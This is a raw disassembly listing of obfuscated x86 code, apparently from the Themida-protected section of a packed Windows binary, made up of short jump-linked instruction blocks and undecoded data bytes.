loc_5516BB:				; CODE XREF: Themida_:0054A63Bj
		add	edx, eax
		pop	eax
		jmp	loc_550908
; ---------------------------------------------------------------------------
		db 5
		dd 0D0516E6h, 7106852h,	0C890000h, 1B39E924h, 89530000h
		dd 4C381E3h, 83000000h,	1C8704C3h, 0F8305C24h, 0E9C3305Bh
		dd 589h
; ---------------------------------------------------------------------------


loc_5516F0:				; CODE XREF: Themida_:0054DC8Cj
		push	4800h
		mov	[esp], edx
		jmp	loc_55389D
; ---------------------------------------------------------------------------


loc_5516FD:				; CODE XREF: Themida_:0054D78Dj
		push	ebx
		jmp	loc_54B2DA
; ---------------------------------------------------------------------------
		db 43h
		dd 0FF94E8E9h, 62C668FFh, 815F4657h, 0B66487F7h, 0E9FA891Eh
		dd 0FFFFE27Bh, 3B30F281h, 0EA815C8Ch, 39CF74Fh,	0C15AD589h
		dd 0F58106E5h, 2332A90h, 1A48C581h, 0E9532BA0h,	0FFFFDF15h
; ---------------------------------------------------------------------------


loc_551740:				; CODE XREF: Themida_:0054C98Dj
		push	ecx
		mov	ch, dl
		mov	[edi+eax*4+1], ch
		pop	ecx
		pop	edx
		pop	ecx
		jmp	loc_549815
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0A917E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551756:				; CODE XREF: Themida_:0054D4C7j
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_550350
; ---------------------------------------------------------------------------
		db 81h
		dd 0A909A8C6h, 81FE015Fh, 0A909A8EEh, 0D8DBE95Fh, 0C581FFFFh
		dd 7CFC1666h, 2D51F581h, 0ED816C8Bh, 0FFFFFFFFh, 1C98B951h
		dd 0D5E96835h, 56FFFFF8h, 659E2BEh, 5EF23154h, 1100F281h
		dd 0D70171EDh, 243C875Ah, 0FFCC5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5517B5:				; CODE XREF: Themida_:005537F1j
		mov	ecx, 640BAC9Dh
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	[esp+4], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5530A2
; ---------------------------------------------------------------------------


loc_5517D7:				; CODE XREF: Themida_:0054F0EFj
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 161235Bh
		add	ecx, 0E15ED49h
		mov	esi, ecx
		jmp	loc_54E0FC
; ---------------------------------------------------------------------------
		db 80h,	0F1h, 0CFh
		dd 0E959CA30h, 3B15h, 8107EFC1h, 0D201D5C7h, 0B2F78118h
		dd 532E331Bh, 0DCD450BBh, 5BDF01FBh, 685FF831h,	7258h
		dd 0B9240C89h, 6FAF6C9Bh, 0E959C829h, 0FFFFAD39h, 5266C800h
		dd 0F000E9B6h, 13045A66h, 0B3535159h, 0BEB8006h, 53E8B551h
		dd 0DD20C5B3h, 0E9D5F65Bh, 3343h, 0C005E6C0h, 9FE906E6h
		dd 50FFFFD6h, 99E9E089h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551863:				; CODE XREF: Themida_:0054A74Bj
		sub	ecx, 38FC16E7h
		jmp	loc_555797
; ---------------------------------------------------------------------------


loc_55186E:				; CODE XREF: Themida_:00549CD7j
		sub	al, 65h
		and	al, 0F4h
		add	al, 7Fh
		add	bl, al
		pop	eax
		push	eax
		mov	al, 0DDh
		push	ebx
		mov	bh, 0CAh
		xor	bh, 90h
		dec	bh
		add	bh, 0Ch
		add	al, bh
		pop	ebx
		add	bl, al
		pop	eax
		add	bl, 89h
		jmp	loc_5499A9
; ---------------------------------------------------------------------------
		db 29h
		dd 24348BF2h, 104C483h,	24148BD1h, 0FFCFB1E9h, 2434FFFFh
		dd 4C4815Fh, 9000000h, 2C8B1C6Fh, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0FF7F48E9h, 24148BFFh,	0FF93B8E9h, 28864FFh
		dd 0FF7F38E9h, 0DBC581FFh, 0E9098250h, 0FFFFB400h, 68D8285Bh
		dd 3734h, 0B5240C89h, 0ED686661h, 0C89663Fh, 24748624h
		dd 0E9D6F601h, 0FFFFED85h, 56241C89h, 2019E9h, 8B9A2C00h
		dd 7DE9241Ch, 58FFFF85h, 0FFD535E9h, 2434FFFFh,	2573E9h
		dd 6AC38100h, 8156305Ah, 379E45F3h, 0E9DF898Ah,	17D0h
		dd 75B652ACh, 0FFFF0BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551945:				; CODE XREF: Themida_:00551410j
		add	esp, 4
		jmp	loc_54E756
; ---------------------------------------------------------------------------


loc_551950:				; CODE XREF: Themida_:0054C4AEj
		push	16C5h
		jmp	loc_54DCB1
; ---------------------------------------------------------------------------
		dw 28B8h
		dd 0E9000000h, 0FFFFA783h, 4F03E7C1h, 0D3F7DF87h, 0FB31DF31h
		dd 0E7C1DF31h, 76CF8106h, 817B1E32h, 0A1458EC7h, 8BF90104h
		dd 0C481243Ch, 4, 4C181h, 0C870000h, 0E9535C24h, 150Ah
		dd 0E9243489h, 0FFFFDB66h, 3575BE56h, 874E1D44h, 0C88DE9D6h
		dd 4ACFFFFh, 0B7535150h, 5BF9884Ch, 59C800h, 0D768E9D8h
		dd 0C304FFFFh, 0BE9D800h, 0FFFFFFC4h, 8B042474h, 0C483241Ch
		dd 24048F04h, 9CC1385Ch, 0FF7E30E9h, 4C681FFh, 81000000h
		dd 4EEh, 24348700h, 242C895Ch, 639368h,	240C8900h, 51998B9h
		dd 51E1D11Dh, 0F7243C87h, 0CF6FE9D7h, 0C483FFFFh, 0F4C58104h
		dd 5B42D13Bh, 0E95DEA29h, 0FFFF7DF1h, 19B9EF81h, 50E9DDC9h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551A2F:				; CODE XREF: Themida_:00552E51j
		push	3EF9h
		mov	[esp], ecx
		push	eax
		push	ebx
		mov	ebx, 1
		push	ebp
		mov	ebp, ebx
		mov	eax, ebp
		pop	ebp
		jmp	loc_54C009
; ---------------------------------------------------------------------------
		db 30h,	3Ch, 24h
		dd 1718E9h, 48B6600h, 7E246824h, 1C890000h, 1C8B5424h
		dd 4C48124h, 81000000h,	4ECh, 848EE900h, 0DE01FFFFh, 2895E9h
		db 0
; ---------------------------------------------------------------------------


loc_551A79:				; CODE XREF: Themida_:0054D85Aj
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	edx
		jmp	loc_550C8F
; ---------------------------------------------------------------------------
		dw 835Fh
		dd 148704EAh, 3C895C24h, 90FFE924h, 0C8BFFFFh, 4C48324h
		dd 0E9241C8Bh, 831h, 8108E5C1h,	0B341F6C5h, 23A4E9A6h
		dd 8B660000h, 32682404h, 0E9000002h, 0FFFFCE7Fh, 2434875Bh
		dd 0E930FF5Ch, 0FFFF7D49h, 0E5C047B5h, 0E671E902h, 0E089FFFFh
		dd 0B3BD5557h, 89170478h, 0F838E9EFh, 0EE81FFFFh, 0D550BB4h
		dd 83EE814Eh, 295E9263h, 24348BF2h, 4C481h, 0BE560000h
		dd 38D968B0h, 8703EEC1h, 87D7F7FEh, 0C1D6F7FEh,	0EEC103E6h
		dd 24EE8103h, 1313A4Dh,	0BE95EF2h, 0FFFFFFEBh, 669D1C77h
		dd 4196658h, 0E2E99C24h, 5AFFFF7Ch, 5B83C381h, 0CB014B04h
		dd 5D95B951h, 35E92936h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551B47:				; CODE XREF: Themida_:00552BAEj
		mov	[esp], esi
		push	ecx
		push	1AFF74DEh
		pop	ecx
		push	ebp
		push	edx
		mov	edx, 61222680h
		mov	ebp, 595F6C15h
		sub	ebp, 73EB4F76h
		shl	ebp, 6
		sub	ebp, 6FFCFE7Dh
		jmp	loc_54BC6D
; ---------------------------------------------------------------------------
		db 31h,	0DEh, 0E9h
		dd 0FFFFFAAFh
; ---------------------------------------------------------------------------


loc_551B78:				; CODE XREF: Themida_:0054C974j
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_552122
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124048Bh, 4C4h, 0E6895600h,	112768h, 243C8900h, 4BFh
		dd 0FBC5E900h, 0E681FFFFh, 62556D6Bh, 92E2C681h, 0ED81DFAAh
		dd 1AB004D3h, 0A1E9F501h, 47000027h, 0C73AE951h, 0E980FFFFh
		dd 0C2F180D6h, 17C3E9h,	0C8B6600h, 65BA6824h, 2C890000h
		dd 505D5424h, 0FF9DB5E9h, 4C681FFh, 0E9000000h,	360Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_551091
; ---------------------------------------------------------------------------


loc_551C04:				; CODE XREF: Themida_:0054A0A0j
		sub	edx, eax
		pop	eax
		not	edx
		add	edx, 0DA1D7EF3h
		mov	ebx, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_54F176
; ---------------------------------------------------------------------------


loc_551C26:				; CODE XREF: Themida_:0054CA0Aj
		add	ecx, 5AD55136h
		add	ecx, edi
		sub	ecx, 5AD55136h
		pop	edi
		and	ecx, 5FC80EA6h
		add	ecx, 0FFFFFFFFh
		add	ecx, 1B173A0Ah
		jmp	loc_54C114
; ---------------------------------------------------------------------------
		db 0ADh, 68h, 1Fh
		dd 89000069h, 74BF243Ch, 1138514h, 0EC835FF8h, 241C8904h
		dd 0BC1192BBh, 0E9D82976h, 79Ah, 0BD55DEF7h, 35761A5Eh
		dd 3464E9h, 4EC8100h, 89000000h, 0E2892414h, 0FF9138E9h
		dd 243C8BFFh, 4C481h, 0C2810000h, 4, 31241433h,	14332414h
		dd 24248B24h, 3A7368h, 241C8900h, 0C381E389h, 4, 4EB81h
		dd 1C330000h, 241C3124h, 5C241C33h, 0B9240C89h,	40h, 2B44BB53h
		dd 0D901699Ch, 57F9015Bh, 2A82E9h, 24048300h, 241C8B04h
		dd 2216E9h, 0C5815F00h,	2, 5C242C87h, 24048B66h, 575D5455h
		dd 4BFh, 5FFD0100h, 4ED81h, 0C1E90000h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551D0F:				; CODE XREF: Themida_:005540A0j
		add	eax, 7FAD4013h
		shl	eax, 1
		and	eax, 1E495C00h
		jmp	loc_54A096
; ---------------------------------------------------------------------------
		dd 13F568h, 24148900h, 2434FF50h, 4EC835Ah, 89241C89h
		dd 9B78E9E3h, 52FDFFFFh, 0FFB80BE9h, 81D501FFh,	1868D7EDh
		dd 24148B17h, 5104C483h, 10AE9h
		db 0
; ---------------------------------------------------------------------------


loc_551D55:				; CODE XREF: Themida_:0054A1A7j
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 1ADC4540h
		add	esi, 0E523BAC4h
		sub	ebp, 43966648h
		add	ebp, esi
		add	ebp, 43966648h
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 424277CBh
		xor	eax, 51EE4392h
		add	eax, 46677A2Ch
		jmp	loc_54B020
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFAED6h, 6F05C681h, 0D60120A6h, 6F05EE81h
		dd 11E920A6h, 56000009h, 8A1EC4BEh, 5EF731A0h, 5F22EB81h
		dd 0FB0102B5h, 5F22C381h, 835F02B5h, 1C8702C3h,	24248B24h
		dd 0F66E9F6h, 6866CCB6h, 8966651Dh, 0F66240Ch, 5166C8B6h
		dd 7A2FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551DE6:				; CODE XREF: Themida_:0054EDC2j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	7674h
		mov	[esp], ecx
		jmp	loc_5502D9
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 702F0AFCh, 34FFCF01h, 0C4815924h, 4,	25E9E9h, 5BDF8900h
		dd 8904EC83h, 2E92414h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551E23:				; CODE XREF: Themida_:0054D4D9j
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54F1CA
; ---------------------------------------------------------------------------
		dd 660EE980h, 8324148Bh, 0CE2802C4h, 5AF02859h,	4D1768h
		dd 240C8900h, 7F8468h, 241C8900h, 40B53DB3h, 0A3E9DD30h
		dd 56FFFFC2h, 2BEh, 5EF18900h, 520FED81h, 0CD012CD8h, 520FC581h
		dd 55592CD8h, 42474FFh,	24048F5Dh, 0B6D3E95Ch, 5ABFFFFFh
		dd 0E9007F7Dh, 0FFFFACF7h, 975E958h, 0E9580000h, 0B53h
		dd 5104C483h, 4B9h, 59CE0100h, 5C243487h, 29F6E9h, 429FBF00h
		dd 0F8297B6Ch, 0ECC0E95Fh, 30ACFFFFh, 3E1868D8h, 1C890000h
		dd 0D55BE924h, 8F54FFFFh, 4812404h, 424h, 0C2815A00h, 4
		dd 4C281h, 0FE90000h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551EEB:				; CODE XREF: Themida_:0054D086j
		push	ebx
		jmp	loc_54C984
; ---------------------------------------------------------------------------
		db 5Eh,	55h, 0E9h
		dd 0FFFFED7Fh, 24048F5Eh, 0E189515Ch, 1900E9h, 0BE565100h
		dd 15D91FA4h, 3E5BF4B9h, 0E49AE950h, 0B951FFFFh, 16FE4548h
		dd 0FF81DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551F21:				; CODE XREF: Themida_:005528A6j
		pop	ebx
		xchg	ebx, esi
		sub	esi, 83B3CC63h
		and	eax, esi
		jmp	loc_55159D
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0E9500000h, 1107h, 0FF78D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551F41:				; CODE XREF: Themida_:00553F79j
		sub	ebx, esi
		add	ebx, 1E631D2Ah
		jmp	loc_54A6EB
; ---------------------------------------------------------------------------


loc_551F4E:				; CODE XREF: Themida_:0054AFACj
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5533E1
; ---------------------------------------------------------------------------
		db 51h,	68h, 8Eh
		dd 592EEA22h, 5102E1C1h, 0E92404FFh, 0FFFFDB04h
; ---------------------------------------------------------------------------


loc_551F74:				; CODE XREF: Themida_:0054D88Ej
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_54D11D
; ---------------------------------------------------------------------------
		dd 54243489h, 217E95Eh,	0C2800000h, 0A805E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551F92:				; CODE XREF: Themida_:0054C5FCj
		add	esp, 4


loc_551F98:				; CODE XREF: Themida_:0054AF58j
					; Themida_:005503E8j
		push	ebx
		push	ebp
		push	esi
		jmp	loc_550E1E
; ---------------------------------------------------------------------------
		dd 4BAh, 0E9D60100h, 26D1h, 1BCA68h, 240C8900h,	0FF785CE9h
		dd 0B95150FFh, 618F0EC1h, 0D159C889h, 0FFB951E8h, 1FFFFFFh
		dd 2E82E9C8h, 0C1010000h, 4C18358h, 5C240C87h, 8B2434FFh
		dd 89562404h, 0B4A5E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551FEA:				; CODE XREF: Themida_:00553408j
		pop	esp
		or	eax, eax
		jz	loc_54F218
		push	dword ptr [edi+1Ch]
		push	edx
		jmp	loc_54BD58
; ---------------------------------------------------------------------------
		dd 0C8B5451h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 9EE9565Ch, 5CFFFFBAh, 83BE9h, 1EB8300h, 5445EB81h, 0C3811FB0h
		dd 4DEB6D1Ah, 54CFEB81h, 0E9E918BCh, 5BFFFF88h,	5966C828h
		dd 24148B66h, 5102C483h, 0CD8095B5h, 1ED8029h, 0ED80CDFEh
		dd 0A0C580E6h, 0FE07E5C0h, 0FE5166C5h, 66012444h, 0ECB05059h
		dd 5258C500h, 0F000CCB6h, 0FF97D8E9h, 4C181FFh,	81000000h
		dd 4C1h, 4EC8300h, 0FF240C89h, 0E9042474h, 0FFFFB7D3h
		dd 4C3815Dh, 83000000h,	1C8904ECh, 2474FF24h, 48F5B04h
		dd 0B7E95C24h, 5BFFFFE0h, 0FFA235E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5520AD:				; CODE XREF: Themida_:0055543Ej
		add	ecx, 1A8244C3h
		push	46C5h
		mov	[esp], edx
		jmp	loc_550E00
; ---------------------------------------------------------------------------
		dd 80F2B753h, 18E9F4EFh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5520CB:				; CODE XREF: Themida_:0054C237j
		push	edi
		mov	edi, esp
		jmp	loc_54D5BD
; ---------------------------------------------------------------------------
		db 29h
		dd 89525DEFh, 4C281E2h,	0E9000000h, 0FFFFA63Dh,	0A7D8EEB9h
		dd 5DE901C3h, 0FF7BBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5520F1:				; CODE XREF: Themida_:00554459j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_550FC1
; ---------------------------------------------------------------------------
		db 66h,	41h, 66h
		dd 8166D1F7h, 0E94030C1h, 0FFFFC51Bh, 8904EC83h, 4B9240Ch
		dd 81000000h, 0D5360FEFh, 0CEF0E939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552122:				; CODE XREF: Themida_:00551B80j
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_555827
; ---------------------------------------------------------------------------
		db 0F6h
		dd 4EC83D5h, 0FFB577E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552135:				; CODE XREF: Themida_:00552B2Aj
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		mov	ebp, [esp]
		push	edi
		push	6449h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		jmp	loc_54D854
; ---------------------------------------------------------------------------
		dd 7348CE81h, 0C14E6ECDh, 0C68102EEh, 451D4D3Bh, 0E6C6C681h
		dd 76E9D771h, 87FFFFDFh, 0C8E92414h, 89FFFFA4h,	4AE068E6h
		dd 0A8E90000h, 89FFFF7Ah, 0F5815FFDh, 6BCD6601h, 0FF81C2E9h
		dd 0FBA52FFh, 8172B12Fh, 653032EAh, 27C28114h, 81A1B401h
		dd 0DF2C00EEh, 0E847E968h, 6866FFFFh, 89663CC7h, 4AE92404h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5521CB:				; CODE XREF: Themida_:0054A609j
		push	1545h
		jmp	loc_54F5D2
; ---------------------------------------------------------------------------
		db 57h,	68h, 0BFh
		dd 8B29C475h, 0C481243Ch, 4, 1C27E781h,	0F7813B6Dh, 29441425h
		dd 3C8BF989h, 4C48124h,	0E9000000h, 3551h
; ---------------------------------------------------------------------------


loc_552200:				; CODE XREF: Themida_:0054D7D6j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B850
; ---------------------------------------------------------------------------
		dd 0E9E68956h, 0FFFFF7C5h
; ---------------------------------------------------------------------------


loc_552220:				; CODE XREF: Themida_:0054A6E1j
		mov	esi, 4E230CD8h
		jmp	loc_54CD0A
; ---------------------------------------------------------------------------
		dd offset loc_59C800
		dw 51E8h
		dd 0FFEF16E9h, 0CB2858FFh, 663AEB80h, 50C30059h, 0FFA3E7E9h
		dd 0CAE9C3FFh, 83FFFF75h, 1C8904ECh, 0F1EEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552256:				; CODE XREF: Themida_:0054D216j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55076F
; ---------------------------------------------------------------------------
		db 1
		dd 0C28158C2h, 2, 2474FF52h, 48F5A04h, 0FF665C24h, 0E99C240Ch
		dd 0FFFF7591h, 5B18A105h, 2DF00141h, 415B18A1h,	0E92434FFh
		dd 2EB2h, 1372C681h, 48B1A54h, 4C48124h, 51000000h, 2B9h
		dd 59CE0100h, 0FFC84CE9h, 4E883FFh, 0FF86CAE9h,	58C329FFh
		dd 2D5BD829h, 737272B9h, 256CE9h, 24248B00h, 0FFEE98E9h
		dd 4C483FFh, 0FF7538E9h, 247429FFh, 48B5E04h, 18E95724h
		dd 5100001Ah, 42474FFh,	592434FFh, 8F04C483h, 895C2404h
		dd 24E92404h, 53000024h, 0FFED9DE9h, 53D0F7FFh,	0B3DDFABBh
		dd 5BD831CBh, 8158C201h, 20580EEAh, 81FA0107h, 20580EC2h
		dd 42EA8107h, 0E971A253h, 0FFFFF959h, 24048B66h, 0E9E38953h
		dd 22C8h
; ---------------------------------------------------------------------------


loc_55233C:				; CODE XREF: Themida_:0054DD5Aj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	ebx
		push	18D424Eh
		pop	ebx
		push	eax
		mov	eax, 0A950DECh
		add	eax, 1
		push	edi
		push	ebx
		mov	ebx, 6C666507h
		mov	edi, ebx
		jmp	loc_549DA3
; ---------------------------------------------------------------------------
		dw 595Eh
		dd 290EEA81h, 0EA0147E3h, 290EC281h, 0E95D47E3h, 0FFFFC1A0h
		dd 5C5568h, 242C8900h, 0FF9AB8E9h, 241489FFh, 0C0B75350h
		dd 0FE05EF80h, 54F653CFh, 0C05B0124h, 0F78005E7h, 0FA88524Eh
		dd 0E9FE9h, 0FE315800h,	7E6C15Fh, 0FFF247E9h, 0E95251FFh
		dd 0FFFFCEB2h, 0E904C783h, 449h
; ---------------------------------------------------------------------------


loc_5523D0:				; CODE XREF: Themida_:00553164j
		mov	edx, [esp]
		jmp	loc_55299F
; ---------------------------------------------------------------------------
		dd 24048B66h, 73768h, 0FB9AE900h, 0EB81FFFFh, 37D2245Ch
		dd 8AC38143h, 5254CC14h, 7578A6BAh, 0E9DAF73Fh,	0FFFF9BEBh
		dd 0A9DAE94Bh, 295BFFFFh, 0B8E953D8h, 89FFFFC9h, 4CBD242Ch
		dd 8920ACFAh, 0CF61E9EFh, 0EC80FFFFh, 7CABE944h, 0EC83FFFFh
		dd 242C8904h, 2BDh, 5DE90100h, 0E9240C87h, 1B9Ch, 4244401h
		dd 267368h, 242C8900h, 0B55D5BDh, 246C8118h, 0A26CEA08h
		dd 24448170h, 3B149908h, 246C2922h, 246C8108h, 3B149908h
		dd 24448122h, 0A26CEA08h, 0E9585D70h, 0FFFF739Dh, 733CE781h
		dd 0EF812E24h, 6ABA5AFFh, 0A5685251h, 8B1DE75Bh, 0C4832414h
		dd 80C5E904h, 0F001FFFFh, 42EB815Eh, 5055002Ah,	5A7CC5B8h
		dd 16DA0D31h, 0E8C121EDh, 0CB472D02h, 0C329FF18h, 0EC38158h
		dd 1280943h, 0EEB81C3h,	56280943h, 671470BEh, 0EB8500Dh
		dd 0C1010853h, 0A82507E8h, 0D788428h, 550F2A28h, 0FFEC18E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5524E1:				; CODE XREF: Themida_:0054D42Cj
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_551563
; ---------------------------------------------------------------------------
		dd 4C7815Ch, 81000000h,	2C7h, 74FF5700h, 0E95F0424h, 0FFFFA7BFh
		dd 0C7815E59h, 0A4977D0h, 0A8AE9h
		db 0
; ---------------------------------------------------------------------------


loc_552519:				; CODE XREF: Themida_:0054E75Cj
		sub	edi, edx
		pop	edx
		xor	edi, [esp]
		jmp	loc_553AFC
; ---------------------------------------------------------------------------


loc_552524:				; CODE XREF: Themida_:0054E7BEj
		shl	edx, 1
		push	ebx
		mov	ebx, 24h
		push	ebp
		mov	ebp, offset word_5A083A
		xor	ebp, 2E76353Ch
		inc	ebp
		xor	ebp, 2D4E568Bh
		add	ebp, 6D76126h
		jmp	loc_549FC0
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 243C3124h, 8B243C33h, 0D3662424h, 0E99C2424h, 0FFFF72B5h
		dd 74FF575Eh, 0E95F0424h, 0FFFF90EAh, 240C8966h, 0FF8125E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552575:				; CODE XREF: Themida_:0054F229j
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54EC2A
; ---------------------------------------------------------------------------
		db 1
		dd 0BD5550FAh, 46FF29A8h, 515DE889h, 4E05E9B9h,	59CA0179h
		dd 0EA81C229h, 794E05E9h, 0E932FF58h, 0FFFF83EEh, 24348B66h
		dd 0FFA28BE9h, 241C89FFh, 0DA89FB89h, 0E2815F5Bh, 41DB7207h
		dd 0FFB338E9h, 0F79248FFh, 0BD5592D2h, 9C9A5085h, 895DE829h
		dd 0DFF758C7h, 2E0E781h, 0F78103B7h, 61A47197h,	5602EFC1h
		dd 136E9BEh, 0C7F68167h, 8133036Dh, 0D36471CEh,	5FCE8139h
		dd 0F758445Dh, 0AE952D6h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552607:				; CODE XREF: Themida_:0054DFCFj
		push	64CE3569h
		pop	eax
		add	eax, 13A826D2h
		or	eax, 2443027Ch
		neg	eax
		or	eax, 4AD73461h
		add	eax, 34204A23h
		jmp	loc_5541B0
; ---------------------------------------------------------------------------
		dd 7F68E689h, 89000073h, 4B82404h, 81000000h, 541372EEh
		dd 0DDEE811Ah, 1163126h, 0DDC681C6h, 0E9163126h, 0FFFFFC48h
		dd 5DF6C381h, 29580DDDh, 859EE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55265E:				; CODE XREF: Themida_:00555683j
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54D82B
; ---------------------------------------------------------------------------


loc_552674:				; CODE XREF: Themida_:0054E4F2j
		mov	ebx, 6C985D40h
		sub	ebx, 6C985D3Ch
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_54E9EF
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 5AB42404h, 0F658E530h
		dd 0FAC580DDh, 800FB753h, 0E780EFC7h, 0E9CFFE8Ah, 0FFFF9FACh
		dd 2C6835Ah, 207AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5526C5:				; CODE XREF: Themida_:0054FB2Dj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54C236
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4, 26D6EF81h, 0C7011D8Bh, 2C94E9h, 0EC815B00h, 4, 0E9241489h
		dd 0F49h, 5304E1C1h, 0BF4054BBh, 0C3814B03h, 484ED427h
		dd 62C8E981h, 0D9011BFEh, 62C8C181h, 27E91BFEh,	68FFFF81h
		dd 3698h, 0FF908BE9h, 6E6C1FFh,	5CCE814Eh, 817FE679h, 5F8962F6h
		dd 0E9F3014Fh, 0FFFF8054h, 0D2C4E959h, 3431FFFFh, 24343324h
		dd 0E924248Bh, 1C9Dh, 15AD701h,	76EF81C7h, 0FF616214h
		dd 34FF2434h, 0C4835824h, 0E3895304h, 4C381h, 0C3810000h
		dd 4, 0E9241C87h, 0FFFFD86Dh
; ---------------------------------------------------------------------------


loc_552784:				; CODE XREF: Themida_:0054DB1Fj
		push	edx
		jmp	loc_554C66
; ---------------------------------------------------------------------------
		dw 8966h
		dd 50662414h, 707FE99Ch, 48BFFFFh, 4C48324h, 4C481h, 0EC810000h
		dd 4, 81243C89h, 4ECh, 24248900h, 0FFC6C9E9h, 24048FFFh
		dd 3124248Bh, 2434FFF8h, 81243C8Bh, 4C4h, 4C48300h, 33C7BD55h
		dd 0C3817A9Ah, 15603E8Eh, 2F68EB29h, 89000056h,	8EBA2414h
		dd 2915603Eh, 24148BD3h, 0E904C483h, 0FFFF7570h
; ---------------------------------------------------------------------------


loc_5527F8:				; CODE XREF: Themida_:0054BD2Cj
		pop	ebx
		xor	ebp, 588318D7h
		jmp	loc_54D6F3
; ---------------------------------------------------------------------------
		dd 1E9E089h, 1FFFFE2h, 0C3835FFBh, 241C8704h, 0FFD258E9h
		dd 243C87FFh, 1EB3E95Ch, 47470000h, 0E02C781h, 0F8293D70h
		dd 81243C8Bh, 4C4h, 5D82900h, 6A711A44h, 172A055Bh, 0D3682AD9h
		dd 0E900004Eh, 0CCAh, 7BBA5253h, 0E9500459h, 0FFFF82FFh
		dd 0FF241C89h
		db 34h,	24h, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_552DAC
; ---------------------------------------------------------------------------


loc_552875:				; CODE XREF: Themida_:0054AC88j
		mov	ebp, esp
		jmp	loc_549D24
; ---------------------------------------------------------------------------


loc_55287C:				; CODE XREF: Themida_:0054F7DDj
		mov	ebx, ebp
		mov	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_54C4EA
; ---------------------------------------------------------------------------


loc_552890:				; CODE XREF: Themida_:0054B0DAj
		xor	esi, ebx
		xor	ebx, esi
		xor	esi, ebx
		push	1B44h
		mov	[esp], ebx
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		jmp	loc_551F21
